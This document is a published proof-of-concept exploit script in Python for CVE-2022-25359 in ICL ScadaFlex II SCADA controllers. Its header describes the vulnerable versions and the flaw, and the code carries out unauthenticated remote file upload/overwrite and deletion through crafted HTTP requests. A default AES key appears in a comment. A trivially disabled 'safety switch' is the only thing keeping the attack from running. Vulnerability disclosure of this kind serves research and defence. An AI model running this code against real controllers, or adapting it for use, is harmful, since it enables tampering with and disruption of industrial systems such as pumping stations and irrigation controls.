# Exploit Title: CL ScadaFlex II SCADA Controllers SC-1/SC-2 1.03.07 Remote File CRUD
# Exploit Author: LiquidWorm
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#
#
# ICL ScadaFlex II SCADA Controllers SC-1/SC-2 1.03.07 Remote File CRUD
#
#
# Vendor: Industrial Control Links, Inc.
# Product web page: http://www.iclinks.com
# Product datasheet: http://files.iclinks.com/datasheets/Scadaflex%20II/Scadaflex%20SC-1%20&%20SC-2_A1_compressed.pdf
# Affected version: SW: 1.03.07 (build 317), WebLib: 1.24
# SW: 1.02.20 (build 286), WebLib: 1.24
# SW: 1.02.15 (build 286), WebLib: 1.22
# SW: 1.02.01 (build 229), WebLib: 1.16
# SW: 1.01.14 (build 172), WebLib: 1.14
# SW: 1.01.01 (build 2149), WebLib: 1.13
#
#
# Summary: Scadaflex II controllers are 100% web based
# for both configuration and user interface. No applications
# are required other than any standard web browser. They
# are easily supported by remote access over the Internet
# or a cellular link. Scadaflex II controllers support
# industry standard wired communications using Modbus,
# DF1, SNP, and Ethernet IP protocols along with Ethernet-Serial
# bridging for Modbus or any other protocol. Each Scadaflex
# II controller has both analog and digital, inputs and
# outputs, sufficient for pumping stations, irrigation
# controls, and other similar process monitoring and control
# applications. They can also serve as communications
# concentrators and protocol converters that enhance the
# operation of existing PLCs and process equipment.
#
# Desc: The SCADA controller is vulnerable to unauthenticated
# file write/overwrite and delete vulnerability. This allows
# an attacker to execute critical file CRUD operations on the
# device that can potentially allow system access and impact
# availability.
#
# Tested on: SCADA HTTP Server
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# @zeroscience
#
#
# Advisory ID: ZSL-2022-5698
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5698.php
#
# CVE ID: CVE-2022-25359
# CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-25359
#
#
# 06.11.2021
#
import time,sys
import requests
import datetime
import showtime
# Default
# AES Encryption Key = 'ABCD1234abcd:ICL'
def bann():
print('''
----------------------------------------------------------
) ) ) ) ) )
( ( ( ( ( (
) ) ) ) ) )
(~~~~~~~~~) (~~~~~~~~~)
| t00t | | w00t |
| | | |
I _._ I _._
I /' `\\ I /' `\\
I | M | I | J |
f | |~~~~~~~~~~~~~~| f | |~~~~~~~~~~~~~~|
.' | ||~~~~~~~~| | .' | | |~~~~~~~~| |
/'______|___||__###___|____|/'_______|____|_|__###___|___|
ScadaFlex II SCADA Controllers
Remote write/delete PoC
ZSL-2022-5698
----------------------------------------------------------
''')
def safe(*trigger, ):
return True # |-| Safety Switch
def choice(n):
try:
if n == 1:
overwrite(controllerip = sys.argv[1], filepos = int(sys.argv[3], base = 10))
elif n == 2:
delete(controllerip = sys.argv[1], filepos = int(sys.argv[2], base = 10))
else:
print('Usage (Upload): ./sflex.py [IP] [Local file] [File position number]')
print('Usage (Delete): ./sflex.py [IP] [File position number]')
raise SystemExit('t00t')
except Exception as tip:
raise SystemExit(tip)
def jump():
choice(1) if len(sys.argv) == 4 else next
choice(2) if len(sys.argv) == 3 else next
def overwrite(controllerip, filepos):
print('Starting script at', start)
localfile = sys.argv[2]
with open(localfile, 'rb') as opener:
scadaurl = 'http://'
scadaurl += controllerip
scadaurl += '/d.php?N'
scadaurl += str(filepos)
scadaurl += ',73,'
scadaurl += opener.name
scadaurl += '~'
scadaurl += str(int(time.time()))
see = requests.post(scadaurl, files = {'upload' : opener})
if '100' in see.text:
print('File uploaded in {} directory at position {}.'.format('l', filepos))
print('URL: http://' +controllerip+ '/l/' +localfile)
else:
print("- controller webserver error.")
exit()
def delete(controllerip, filepos):
print('Starting script at', start)
exit(42) if isinstance(filepos, str) else next
scadaurl = 'http://'
scadaurl += controllerip
scadaurl += '/rW12IcL_Dat_N'
scadaurl += str(filepos)
scadaurl += ',0=1~'
scadaurl += str(int(time.time()))
see = requests.get(scadaurl)
check = '\x72\x57' #|
check += '\x31\x32' #|
check += '\x49\x63' #|
check += '\x4c\x5f' #|
check += '\x44\x61' #|
check += '\x74\x5f' #|
check += '\x4e'# o' #|
check += str(filepos)#|
check += '\x2c\x30' #|
check += '\x09\x52' #|
if check in see.text:
print('File at position {} deleted.'.format(filepos))
else:
print('- controller webserver error.')
exit()
def main():
if safe(True):
print('Careful...\nSafety: ON')
exit(17)
else:
print('Safety: OFF', end = '')
global start
start = datetime.datetime.now()
start = start.strftime('%d.%m.%Y %H:%M:%S')
bann(), jump(), choice(1959)
if __name__ == "__main__":
main()